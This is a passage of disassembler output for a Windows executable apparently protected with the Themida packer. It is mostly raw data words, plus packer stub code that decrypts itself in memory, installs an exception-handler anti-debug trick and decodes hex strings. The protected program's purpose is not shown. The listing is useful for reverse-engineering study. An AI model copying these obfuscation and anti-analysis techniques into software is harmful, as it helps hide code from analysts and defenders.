28B824E0h, 9C90C038h, 0AFFB800Ch, 337DA79Dh, 0C2CC9616h dd 0B84B888h, 60165936h, 0D400A064h, 554DAE2Eh, 38F6305h dd 0CAE21052h, 0A78AD5F3h, 682D1472h, 84E428A9h, 5A1B9904h dd 80DE1089h, 549E7614h, 0A6D5003Bh, 9196A794h, 8B82016h dd 0A9AD6C05h, 0A8007CE1h, 8C01BEAEh, 0F074FF30h, 0B8D32002h dd 0D00D09Ch, 3EEC408Dh, 0FD080280h, 84024551h, 0D20EFCD0h dd 4EC74A5Fh, 37F2D6h, 80BECB30h, 4AB18822h, 0C6E13E0Bh dd 0D45807C1h, 60F9B7E2h, 0FEA08CE0h, 0CFCC046Bh, 0C1A78FB9h dd 21D19714h, 6505F8A3h dd 0AA431F13h, 84B00C02h, 0AB146149h, 0D12030h, 0B6EBF9EEh dd 752358F5h, 66562913h, 0F481811h, 2809E195h, 3ADA8027h dd 5B0B20Ah, 360454C7h, 490FC0A0h, 201F46Ah, 7FFA87E5h dd 0B046DF6Bh, 5438034Fh, 79520219h, 49AD95F3h, 0D4A0B8D9h dd 65748E7Bh, 60F9E61Ch, 7CC54800h, 2476A842h, 4E04F0D4h dd 0FA1C5584h, 2610BD87h, 27837D92h, 308297B7h, 0DCF9DB6Fh dd 0DEBAC307h, 5B41BFB0h, 9E9F22B2h, 6936901h, 881ED886h dd 526675F4h, 0FFFF01CCh, 60FBh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_579A2F: ; CODE XREF: start:loc_513265j ; DATA XREF: start:loc_513086o jmp loc_57CF4C ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 8 dd 98h, 5 dup(0) dd 283DB0C1h, 3 dup(0) dd 400000h, 0Bh dup(0) dd 1D2FFB0h, 1Bh dup(0) dd offset loc_5C93A4 align 10h dd offset loc_5C5106 dd 2 dup(0) dd 12D392h, 3 dup(0) dd 0CEh, 7C90EBBFh, 0 dd offset dword_5A463C align 10h dd 7C90EB94h, 9 dup(0) dd 2 dup(22222222h), 7 dup(0) dd 8Bh, 2 dup(0) db 90h db 12h, 0F2h, 76h dd 6 dup(0) dd offset loc_5B4769 dd 0 ; --------------------------------------------------------------------------- xchg eax, esp jmp short near ptr dword_579C34 ; --------------------------------------------------------------------------- db 44h dd 8Bh, 0Ah dup(0) dd 665DB524h, 0 dd 2AE38E7Bh, 0Ch dup(0) dd 400000h, 7C254779h, 0 dword_579C34 dd 3 dup(0) dd 0E2F7h, 7C90EB94h, 0E35189D4h, 2 dup(0) dd offset word_5C631E dd 2 dup(0) dd 21D000h, 6777h, 0 dd 7C90EB94h, 5 dup(0) dd 0FFA46211h, 7 dup(0) dd 836F146Ch, 0 dd 3518h, 3 dup(0) dd 7Ch, 0 dd offset byte_5C59C9 dd 3 dup(0) dd offset loc_5F156D dd 0F9689CE2h, 2 dup(0) dd 84h, 0 dd 7C90EE18h, 2 dup(0) dd 0B19417h, 5B3644h, 0 dd 0FFFFFFFFh, 3 dup(0) dd 0FFED2C6Eh, 2 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 38h, 5Dh, 0 dd offset byte_5B08A7 dd 0 dd offset word_5EEC06 dd 0 dd 7C90EB94h, 3 dup(0) dd 0E35189D4h, 2 dup(0) dd 7C90EB94h, 0 dd 0B3h, 0 dd offset word_5E837E dd 4 dup(0) dd 77DDEBE7h, 6 dup(0) dd 142FFB0h, 0 dd 7C85A016h, 2A000h, 5DB4h, 5B4559h, 6 dup(0) dd 1B2FFB0h, 0 dd 7C812A09h, 2 dup(0) dd 0FFC00000h, 4 dup(0) dd offset byte_5A9CF7 dd 2 dup(0) dd offset loc_5FCAA1 dd 26D0000h, 25C6DD4h, 7 dup(0) dd 1, 0E9A82DF2h, 3 dup(0) dd offset dword_5CB544 dd 0Dh dup(0) dd 0B41CF7h, 0 dd 4633h, 0Fh dup(0) dd 0B1AAA1h, 981062h, 0B91B695Ah, 0B48B0Dh, 2 dup(0) dd 175C28h, 0 dd 400000h, 0 ; --------------------------------------------------------------------------- push eax retf 57h ; --------------------------------------------------------------------------- align 10h dd 7C814AF2h, 0FE2940F3h, 0 dd 18B9547Ch, 2 dup(0) dd 7C90EB94h, 5950h, 3 dup(0) dd 0FFA15E9Ah, 1AA7D65Dh, 2CDF26ECh, 12h dup(0) dd 6A20h, 6 dup(0) dd 0E8Ch, 5 dup(0) dd 7C80180Eh, 12FEC8h, 5 dup(0) dd offset byte_5D0F8D dd 7C916315h, 2 dup(0) dd 56Dh, 74h, 0B0h, 0 dd 129AB8Ch, 0 dd 8C7A6B9Ch, 2 dup(0) dd 7C863F58h, 4 dup(0) dd offset word_5B5CDE dd 4 dup(0) dd 28E3h, 1Ch dup(0) dd 0B18EE4h, 3 dup(0) dd 0FFFF9730h, 0 dd 0A47BB7C5h, 0 dd 77DDEE5Ah, 4 dup(0) dd 110000h, 4 dup(0) dd offset dword_57A6BC dd 129AB8Ch, 0B48B0Dh, 0FFFFA4B8h, 57C1CCh, 7 dup(0) dd offset loc_5DB6AE dd 2 dup(0) dd 0A9F9FCh, 0FFA4C9BCh, 0 dd offset loc_5D1204 dd offset loc_5CA37F align 10h dd 8312D562h, 2 dup(0) dd offset dword_57B29C dd 2 dup(0) dd 5A2F1A42h, 7 dup(0) dd 0B71E69h, 25F00FFh, 3 dup(0) dd offset loc_5CE3FB dd 77DDEDE5h, 2 dup(0) dd 144BA8h, 5 dup(0) dd 7C90EB94h, 8 dup(0) dd 7E410000h, 2 dup(0) dd 1, 0 dd 750BC377h, 59856574h, 0Ah dup(0) dd 50h, 0 dd 7C801D77h, 57B7C0h, 4 dup(0) dd 766B5D9Eh, 5 dup(0) aIaps db 'IAPS',0 align 4 dd 5 dup(0) dd 0E984AD33h, 0 dd offset dword_5EEC7C dd 3 dup(0) dd 89ACh, 0Eh dup(0) dd 0A8h, 5EEA73h, 2 dup(0) dd 0D64BE35h, 2CDF26ECh, 5 dup(0) dd 7FFFFFFFh, 2 dup(0) dd 7D1h, 2 dup(0) dd 0B1FA03h, 0B11920h, 30DFh, 0 dd 6A0652EFh, 9 dup(0) dd 1, 6 dup(0) dd 23E4h, 6 dup(0) dd offset loc_5FC7A8 dd 3 dup(0) dd 836F146Ch, 2 dup(0) dd 660188FBh, 7 dup(0) dd offset dword_57C208 dd 4 dup(0) dd 2Ch, 0B10A25h, 836F146Ch, 2 dup(0) dd 0C246DA44h, 3 dup(0) dd offset unk_511000 dd 75D91624h, 0FF4E05FDh, 8 dup(0) dd 7C90EB94h, 9 dup(0) dd 0B11A3Ch, 9 dup(0) dd 1, 0 dd 76B40000h, 0 dd 0B22493h, 400579FDh, 7C90EB94h, 0Ah dup(0) dd 370h, 5FC7A8h, 8 dup(0) dd 6880ED7Ch, 2 dup(0) dd offset word_5F0A82 align 8 dd 0FEBEE61h, 0 dd 113000BAh, 0 dd 9DEFh, 0 dd 81A52E24h, 3 dup(0) dd 341682F4h, 2 dup(0) a8jmm db '8JMM',0 align 4 dd 2Ah dup(0) dd 7C90EB94h, 0 dd 12E8h, 6 dup(0) dd 0FFFE946Ch, 26F0000h, 7DC1h, 2 dup(0) ; --------------------------------------------------------------------------- dec edi mov byte ptr [esi], 73h jmp near ptr dword_57A624 ; --------------------------------------------------------------------------- align 10h dd 9 dup(0) dd 0E3230388h, 2 dup(0) dd 99B1h dword_57A624 dd 5 dup(0) ; --------------------------------------------------------------------------- retf 6020h ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dd offset loc_5B3644 dd 5 dup(0) dd offset dword_5CFB64 dd 0B1180Fh, 348h, 2 dup(0) dd 84832887h, 2 dup(0) dd 0EE7C8D8Dh, 0 dd 110B5Fh, 9 dup(0) dword_57A6BC dd 0 ; Themida_:0057C27Co dd 129AB8Ch, 0Ch dup(0) dd 7C90EB94h, 7 dup(0) dd 0B086h, 3 dup(0) dd 1610Ch, 6 dup(0) dd 1B2FFB0h, 14h dup(0) dd 73859464h, 0 dd offset sub_5D3167 dd offset sub_5B2328 dd offset sub_5B8B74 dd 0 dd offset sub_57D567 dd 0FFFF6617h, 0B42878h, 0 dd 7C804722h, 0 dd 8EA5h, 57CA50h, 4 dup(0) dd 7C90DDF9h, 6 dup(0) dd offset word_5BED76 dd 7C809B47h, 5 dup(0) dd 0FFFFFF1Ch, 0C10000h, 3 dup(0) dd 146Ch, 3 dup(0) dd 123644h, 0B1AEA1h, 12E07CF9h, 2 dup(0) dd 7C80ADA0h, 6 dup(0) dd offset byte_5B4711 dword_57A86C dd 0A9C530DFh, 66h dup(0) ; Themida_:0057C278o dd 12FE80h, 0Dh dup(0) dd offset dword_57C1CC dd 7C900000h, 0 dd 12FEC8h, 8 dup(0) dd 41B44B2Bh, 0DE047DB5h, 0 dd 0A9C530DFh, 0 dd offset dword_5E68BC dd 0 dd 180Fh, 57CA50h, 4 dup(0) dd 58C8840h, 5B427B15h, 7C90EB94h, 2 dup(0) dd offset loc_5BAA77 dd 5B266D5Dh, 2 dup(0) dd 7C80003Eh, 5C631Eh, 2 dup(0) dd 0DB57h, 7 dup(0) dd 0A3D24694h, 4 dup(0) dd offset byte_5B89BB dd 0B48B32h, 3 dup(0) dd 7Ch, 5BFDFFh, 0B10E24h, 5C41A9h, 5AD3BEh, 8 dup(0) dd 836F11E8h, 280h, 6 dup(0) dd offset sub_57D567 dd 6 dup(0) dd offset loc_5D312E dd 0FFFFA4B4h, 1D25CD95h, 0Ch dup(0) dd offset byte_401000 dd 3 dup(0) dd 898648FEh, 0 dd 4D84D320h, 11h dup(0) ; --------------------------------------------------------------------------- loc_57AC2C: ; DATA XREF: Themida_:0057C0A8o mov eax, 0 or eax, eax jz short loc_57AC38 retn 18h ; --------------------------------------------------------------------------- loc_57AC38: ; CODE XREF: Themida_:0057AC33j mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B1FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 10h dd 13h dup(0) dd 77DD7883h, 4 dup(0) dd offset word_5DF622 dd 27h, 0FFA14313h, 3 dup(0) dd 2000h, 5EFE3Fh, 9 dup(0) dd 0CE8h, 6 dup(0) dd 660188FBh, 6 dup(0) dd 0B8h, 9 dup(0) dd 2156F4E7h, 2 dup(0) dd offset loc_5BFC03 dd 5 dup(0) dd 0D071C8h, 5 dup(0) dd 2CD0A45Fh, 0B1A8CFh, 5B2328h, 5 dup(0) dd 6DE28D8h, 6D656854h, 616469h, 1Eh dup(0) dd offset dword_5CA6E4 dd 5 dup(0) dd 89645C60h, 0FFA355F1h, 6 dup(0) dd offset loc_5BA5FB dd 0 dd 0B18B28h, 5C7171h, 15h dup(0) dd 675DD1FEh, 0 dd offset byte_5B6219 dd 6 dup(0) dd 2CDF26ECh, 6 dup(0) dd 7C90EB94h, 1, 8 dup(0) dd 0B18E51h, 0FFFFFB04h, 5 dup(0) dd 19h, 6 dup(0) dd 0FFFFBFFFh, 30DFh, 4 dup(0) dd 0DBC51B0h, 1, 24242424h, 1Ah dup(0) dd 0D2943FFAh, 0 dd 186B6511h, 3 dup(0) dd 1, 2 dup(0) dd 12FFE0h, 5C5EDDh, 0 dd 3EFCh, 3 dup(0) dd offset word_5E156A dd 0Ch dup(0) dd 4918ED0h, 0 dd 7FDD3FFCh, 0D3D4E0A3h, 2 dup(0) dd 56006A60h, 2 dup(0) dd 0FFFFFF40h, 245C262h, 2 dup(0) dd 7C800000h, 0 dd 58D8h, 665DB524h, 8C7A6B9Ch, 0Ah dup(0) dd 0CE85A301h, 5E8D52h, 0 dd offset byte_5ED535 dd 3 dup(0) dd 7C8111DAh, 0Dh dup(0) dd 692041Bh, 0 dd 557h, 2 dup(0) ; --------------------------------------------------------------------------- mov al, 0FFh retn 3801h ; --------------------------------------------------------------------------- db 0B5h, 5Fh, 0 dd 7 dup(0) dd offset loc_5B2585 dd 4 dup(0) dd 7C810A77h, 0A9C530DFh, 3 dup(0) dd 0B063h, 3 dup(0) dd 7C90EB94h, 77DD0000h, 5BED76h, 0C8h, 2 dup(0) dd 665DB524h, 0Bh dup(0) dd 0E24A3D57h, 0 dd offset loc_5BCFA1 dd 2530000h, 5 dup(0) dd 0C489E92Fh, 0A7D287h, 2 dup(0) dd 7FFFFFFFh, 5 dup(0) dd 77DD6BF0h, 0 dd 7CDFFFF6h, 0B18D20h, 0 dd 0A9C530DFh, 0Fh dup(0) dword_57B29C dd 0B12918h, 6 dup(0) db 90h db 2Ah, 90h, 7Ch align 10h dd 79121C99h, 0E698FE36h, 0 dd 7E05E9Dh, 76B44E5Bh, 5EEC7Ch, 0 dd 692041Bh, 0 dd 3DFD8D8Dh, 3 dup(0) dd 0E8h, 4 dup(0) dd 0FE4D0050h, 31E9h, 5AD14Bh, 945FFE4Bh, 0 dd 12FEBCh, 8 dup(0) dd 6DF6C30Ch, 0Ch dup(0) dd 0FF4E05FDh, 0 dd 253002Ch, 9 dup(0) dd 74736552h, 41747261h, 652E7070h, 6578h, 2 dup(0) dd 76F36C5Bh, 5 dup(0) dd offset dword_57DA5C dd 0 dd offset loc_5E9F97 dd 5 dup(0) dd 129AB8Ch, 3 dup(0) dd 129AB8Ch, 6 dup(0) dd 0E35189D4h, 0 dd 32597F5Dh, 2 dup(0) dd offset loc_5B3644 align 10h dd 0FB892B50h, 4 dup(0) dd offset loc_5B20D4 dd 0 dd offset loc_5D919C dd 0 dd 249C9F4h, 0 dd 0D3E7D77Bh, 2 dup(0) dd 12FF54h, 2 dup(0) dd 30DFh, 0 dd 11111111h, 0 dd offset sub_5B8B74 dd 0 dd 12FEC8h, 8Ah dup(0) dd 0A280105h, 0 dd 2930000h, 0 dd 26C0000h, 0 dd 0AFBD6884h, 5B3644h, 0 dd 1, 10h dup(0) dd offset loc_5C93A4 align 8 dd 12FFA4h, 981062h, 5B5A0Fh, 21212121h, 3 dup(0) dd 0FFA4A618h, 2 dup(0) dd offset loc_5AD40E dd 4 dup(0) dd 68h, 0 dd 0B1B508h, 0 dd offset loc_5D6C3B dd 5 dup(0) dd 3EFCh, 7C916315h, 0 dd 4, 2 dup(0) dd 51F6F940h, 0 dd offset loc_5C1E18 dd 0 dd 129AB8Ch, 0FFED0184h, 981062h, 3 dup(0) dd 1, 26D0000h, 0Ah dup(0) ; --------------------------------------------------------------------------- mov al, 0FFh retn 1 ; --------------------------------------------------------------------------- align 10h dd 0FFFFA060h, 0 dd 0B731E5h, 0 dd 1, 0B1FA03h, 17h dup(0) dd 3E9BDA02h, 0 dd 836F146Ch, 0 dd 4, 0 dd 0F3E6AA48h, 5 dup(0) dd 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 80h dup(0) dd 7D4203A3h, 4 dup(0) dd 665DB524h, 2 dup(0) dd 3D94h, 0 dd offset sub_5B2328+1 dd 0 dd 4001F0h, 0Ah dup(0) dd 7C800000h, 15h dup(0) dd 0A60000h, 7 dup(0) dd 12FFE0h, 0Ah dup(0) dd 0AE91E458h, 4 dup(0) dd 86555974h, 6 dup(0) dd offset loc_5CC3B9 dd 0B11A44h, 0 dd 7C90EB94h, 0Ch dup(0) dd 112FFB0h, 7C90EB94h, 77DFC41Bh, 5 dup(0) dd offset dword_4E6ECC+1A868h dd 4 dup(0) dd offset dword_57C1CC align 10h dd 20001h, 0 dd 713Ah, 0Bh dup(0) db 90h db 17h, 0F2h, 76h dd 7 dup(0) dd offset loc_5E6372 dd 5 dup(0) dd 7C90EB94h, 5 dup(0) dd offset loc_5EA07C dd 2 dup(0) dd 0B1180Fh, 3 dup(0) dd 0AA00h, 0Dh dup(0) dd 0FDECB230h, 0 dd 0FFFFC600h, 90h, 4 dup(0) dd 8B32h, 5BA433h, 0Fh dup(0) dd 77DD7883h, 13h dup(0) dd 88h, 1Ah dup(0) dd 20513D02h, 0 dd 0B73F0Fh, 5EEA6Dh, 3 dup(0) ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) dd 5E8h, 5AD165h, 0FFFFFF8Ch, 0 dd 18EA9DEFh, 0 dd 7C804722h, 2 dup(0) a6666 db '6666',0 align 4 dd 5 dup(0) dd 0B18E51h, 25C6DD4h, 10h dup(0) dd 0FFFF4F7Ah, 2 dup(0) dd 0FE3D0050h, 8 dup(0) dd offset loc_5D30D1 dd 4 dup(0) dd offset loc_5B5100 dd 0FFFFFFFFh, 8B32h, 5EF3AEh, 2 dup(0) dd offset sub_5D34AB dd 5 dup(0) dd 0FFFF5F9Eh, 0 dd offset sub_5E6279 dd 0 dd 0FFFF8D68h, 0Fh dup(0) dd 6A8ED9B9h, 0 dd 0A9C530DFh, 3 dup(0) dd 7C90EB94h, 3 dup(0) dd 12FF54h, 4 dup(0) dd 7C90EB94h, 4 dup(0) dd 0CAECh, 7C80ABDEh, 400E9h, 77DDEE37h, 2 dup(0) dd 7C90EB94h, 0Ah dup(0) dd 7C81CDDAh, 0FFB0h, 2 dup(0) dd offset loc_57AC2C dd 8 dup(0) dd offset loc_5A504D+1 dd 4 dup(0) dd 0FFA3BE57h, 45EAE94h, 3 dup(0) dd 9ECEh, 0FFFBFF17h, 5AD3E6h, 12FFA4h, 2 dup(0) dw 3Eh unicode 0, <±>,0 align 4 dd 4 dup(0) dd 0E1DE586h, 5 dup(0) dd 0FFFF2AF0h, 0 dd 30081FD3h, 0 dd offset loc_5DDD8E dd offset loc_5FDCAF dd 2 dup(0) dd offset word_5D4B22 dd 4928D8Dh, 8 dup(0) dd 56Dh, 0FFFF6211h, 0 dd offset dword_5CB524 dd 8 dup(0) dd 129AB7Dh, 0E896DE4Dh, 0 dd 129AB8Ch, 2 dup(0) dword_57C1CC dd 0FCh, 3 dup(0) ; Themida_:0057BC78o dd 0FBD96FA6h, 5 dup(0) dd 1, 3 dup(0) dd 0EC8h dword_57C208 dd 0 dd 129AB8Ch, 0 dd 12FFF0h, 0B73FFCh, 9 dup(0) dd 0B10000h, 2 dup(0) dd offset loc_57DD80 dd 3 dup(0) dd offset dword_57A86C+4 dd 2 dup(0) dd 2, 836F146Ch, 0B19417h, 0 dd offset dword_57A86C+5 dd offset dword_57A6BC dd 6 dup(0) dd 9027FDD5h, 17375Ch, 77F7F117h, 6 dup(0) dd 0D5BE9B37h, 4 dup(0) dd 0B1EC7Ch, 0 dd 0C8h, 0 dd offset loc_5E7D12 dd 0A0h, 2 dup(0) dd 0D0D4956h, 2 dup(0) dd 0BC7A36h, 0 dd 7C90EB94h, 0 dd offset loc_5C0BD0+3 dd 0 dd 12FFA4h, 3 dup(0) dd 0FFFFFFFEh, 0 dd 0B817A6h, 8 dup(0) dd 8Ch, 12FEC8h, 0 dd 0FFFF6617h, 3 dup(0) dd 7C81CDDAh, 132FFB0h, 0Bh dup(0) dd 0FFFE946Ch, 0 dd 2710h, 2Ah dup(0) dd offset loc_5B1299+1 dd 7 dup(0) dd 12FF60h, 0A0h, 5 dup(0) dd 99B1h, 12FFE0h, 4 dup(0) dd 2A4139C9h, 5 dup(0) dd 0A9C530DFh, 7C80B4CFh, 9959h, 2 dup(0) dd 7C91056Dh, 3 dup(0) dd 7DA7E680h, 5 dup(0) ; --------------------------------------------------------------------------- jmp near ptr byte_57C901 ; --------------------------------------------------------------------------- align 4 dd 6 dup(0) dd offset loc_5BA430+3 dd 0B1FA37h, 0DA44h, 0 dd 26E0000h, 5 dup(0) dd 2DA27F8h, 4 dup(0) dd offset loc_5B719C dd 4 dup(0) dd 0FFFE946Ch, 0 aFirCWindowsSys db '”ë|C:\WINDOWS\system32\ADVAPI32.dll',0 align 4 dd 39h dup(0) dd offset loc_5FC7A8 align 10h dd offset sub_5FB366 dd 2 dup(0) dd 129AB8Ch, 2 dup(0) dword_57C6A8 dd 4, 3 dup(0) dd 4Ch, 0 dd offset loc_5CE3FB a333333333333 db '333333333333',0 align 4 dd 6 dup(0) dd 9Ch, 0FFA494DFh, 0Dh dup(0) dd 49749180h, 0 dd offset byte_5C59C9 dd 74D4FD48h, 3 dup(0) dd 0A5D0E5BEh, 78h, 2 dup(0) dd 0B70213h, 7 dup(0) ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 9Ah, 5Bh, 0 dd 0 dd 1, 4 dup(0) dd 836F146Ch, 7 dup(0) dd offset byte_5A9CF7 dd 12FFC4h, 0 dd 7C90EB94h, 7C800001h, 8 dup(0) dd 1, 0 dd 713B56D8h, 6 dup(0) dd 660188FBh, 3 dup(0) dd 665DB524h, 0 dd 0DDBB0000h, 4 dup(0) dd 4756EDE5h, 0 dd 70h, 4 dup(0) dd 0B11842h, 5 dup(0) dd 7C80180Eh, 8 dup(0) dd 5698h, 4 dup(0) dd 0B3h, 9 dup(0) dd 12543FE0h, 5 dup(0) dd 0B69178h, 7 dup(0) db 0 byte_57C901 db 3 dup(0) ; CODE XREF: Themida_:0057C4FCj align 8 dd 190Ah, 0 dd offset loc_5C0BD0+3 align 8 dd offset loc_5CA2B6 dd 4 dup(0) dd 0DFD0B015h, 0 dd offset dword_4E6ECC+427Ch dd 0 dd offset loc_5E735D+4 dd 0 dd 2156F4E7h, 4 dup(0) dd 7E41A8ADh, 7C90EB94h, 0 dd 504Eh, 0B1180Fh, 0 dd 7C90EE18h, 0 dd 224E63Eh, 2 dup(0) dd 7C90EB94h, 6Ch, 0 dd 0B1180Fh, 6 dup(0) dd 199CFE6Dh, 3 dup(0) dd 0E0h, 2 dup(0) dd 113014h, 0B1FA03h, 5 dup(0) dd offset word_5ED70E align 10h dd 0E7156211h, 3 dup(0) dd 4D000h, 5D34ABh, 5 dup(0) ; --------------------------------------------------------------------------- jmp near ptr word_57CABA ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dd offset loc_5B719C dd 1D835B68h, 0 dd 76F21510h, 123BC3h, 0 dd offset dword_57C6A8 dd 0 dd 3D94h, 0B137ECh, 0 dw 3Eh unicode 0, <±>,0 align 10h dd 0 dd 0ACh, 14h dup(0) db 2 dup(0) word_57CABA dw 0 ; CODE XREF: Themida_:0057CA1Cj dd 2 dup(0) dd 0FFFF8DECh, 0B6h dup(0) ; --------------------------------------------------------------------------- retn 80ABh ; --------------------------------------------------------------------------- db 7Ch dd 94h, 3 dup(0) dd 7E41A8ADh, 0FFFE0B6Ch, 0 dd 60000h, 0 dd 32597F5Dh, 0B3FCADh, 2 dup(0) dd 0A4h, 0 dd 7CED2A9Eh, 0 dd 16B94h, 0 dd offset loc_5C4EAA dd 5 dup(0) dd 7C90EB94h, 3 dup(0) dd 0DC1E4954h, 80h, 3 dup(0) dd 5643h, 5B3656h, 7C800D10h, 2 dup(0) dd 0FFFF9DEFh, 1020h, 8 dup(0) dd 0BC7BB91Eh, 3 dup(0) dd offset word_5EE6A6 dd 0FDC9A77Eh, 0 dd 0B40A4h, 0 dd 1, 400000h, 2Eh dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57CF4C: ; CODE XREF: start:loc_579A2Fj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 6153527h mov [ebp+6152D85h], edx mov [ebp+6152AA5h], esi mov [ebp+61527E5h], eax cmp dword ptr [ebp+61507A9h], 0 jz short loc_57CF84 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_57CF84: ; CODE XREF: start+69F62j mov eax, [esp+40h+var_1C] mov [ebp+6152559h], eax push 45h call sub_57D038 push 783749Ah call sub_57D07E push 0A894B25h call sub_57D07E jmp loc_57D1C2 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57D038 proc near ; CODE XREF: start+69F7Cp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6153615h mov ebx, edx mov [ebp+var_28], 0 loc_57D054: ; CODE XREF: sub_57D038+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_57D073 mov eax, [ebp+arg_0] mov [ebx+615357Fh], eax inc [ebp+arg_0] inc ebx jmp short loc_57D054 ; --------------------------------------------------------------------------- loc_57D073: ; CODE XREF: sub_57D038+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_57D038 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57D07E proc near ; CODE XREF: start+69F86p start+69F90p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 615365Eh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_57D0A4: ; CODE XREF: sub_57D07E+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_57D0A4 mov [ebp+var_84], 0 lea edi, [edx+615357Fh] lea esi, [ebp+var_80] loc_57D0D4: ; CODE XREF: sub_57D07E+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_57D0E0: ; CODE XREF: sub_57D07E+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_57D0E0 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_57D0D4 popa leave retn 4 sub_57D07E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_57D11E ; --------------------------------------------------------------------------- loc_57D11A: ; CODE XREF: Themida_:0057D121j inc dword ptr [ebp-4] inc esi loc_57D11E: ; CODE XREF: Themida_:0057D118j cmp byte ptr [esi], 0 jnz short loc_57D11A mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_57D1AF ; --------------------------------------------------------------------------- loc_57D130: ; CODE XREF: Themida_:0057D1B2j mov dword ptr [ebp-8], 0 jmp short loc_57D1A6 ; --------------------------------------------------------------------------- loc_57D139: ; CODE XREF: Themida_:0057D1AAj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_57D193 ; --------------------------------------------------------------------------- loc_57D149: ; CODE XREF: Themida_:0057D197j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_57D16B cmp bl, 39h ja short loc_57D16B sub bl, 30h jmp short loc_57D18D ; --------------------------------------------------------------------------- loc_57D16B: ; CODE XREF: Themida_:0057D15Fj ; Themida_:0057D164j cmp bl, 61h jb short loc_57D17D cmp bl, 66h ja short loc_57D17D sub bl, 61h add bl, 0Ah jmp short loc_57D18D ; --------------------------------------------------------------------------- loc_57D17D: ; CODE XREF: Themida_:0057D16Ej ; Themida_:0057D173j cmp bl, 41h jb short loc_57D18D cmp bl, 46h ja short loc_57D18D sub bl, 41h add bl, 0Ah loc_57D18D: ; CODE XREF: Themida_:0057D169j ; Themida_:0057D17Bj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_57D193: ; CODE XREF: Themida_:0057D147j cmp dword ptr [ebp-0Ch], 2 jb short loc_57D149 cmp dword ptr [ebp-10h], 0 jbe short loc_57D1A3 mov eax, [ebp-10h] stosb loc_57D1A3: ; CODE XREF: Themida_:0057D19Dj inc dword ptr [ebp-8] loc_57D1A6: ; CODE XREF: Themida_:0057D137j cmp dword ptr [ebp-8], 2 jb short loc_57D139 add edx, 4 loc_57D1AF: ; CODE XREF: Themida_:0057D12Ej cmp edx, [ebp-4] jb loc_57D130 mov al, 0 stosb mov eax, [ebp-4] locret_57D1BE: ; CODE XREF: Themida_:0057D235j leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57D1C2: ; CODE XREF: start+69F95j mov ecx, 7000h lea edi, [ebp+61537A4h] loc_57D1CD: ; CODE XREF: start+6A1BDj dec byte ptr [edi] inc edi dec ecx jnz short loc_57D1CD mov eax, 48692121h mov edx, 0F0113000h sub edx, 0F0000000h lea eax, [ebp+615389Eh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov ebx, 5CF2F1B5h mov bx, cx sub eax, edx js loc_57D213 mov ebx, 7EAFA86h loc_57D213: ; CODE XREF: start+6A1F4j and eax, 0FFFFF000h push 0 push edi call sub_57D223 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_57D223 proc near ; CODE XREF: start+6A207p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_57D223 endp ; --------------------------------------------------------------------------- cmc pop ebx jl short locret_57D1BE sub ch, [edi] cli idiv dword ptr 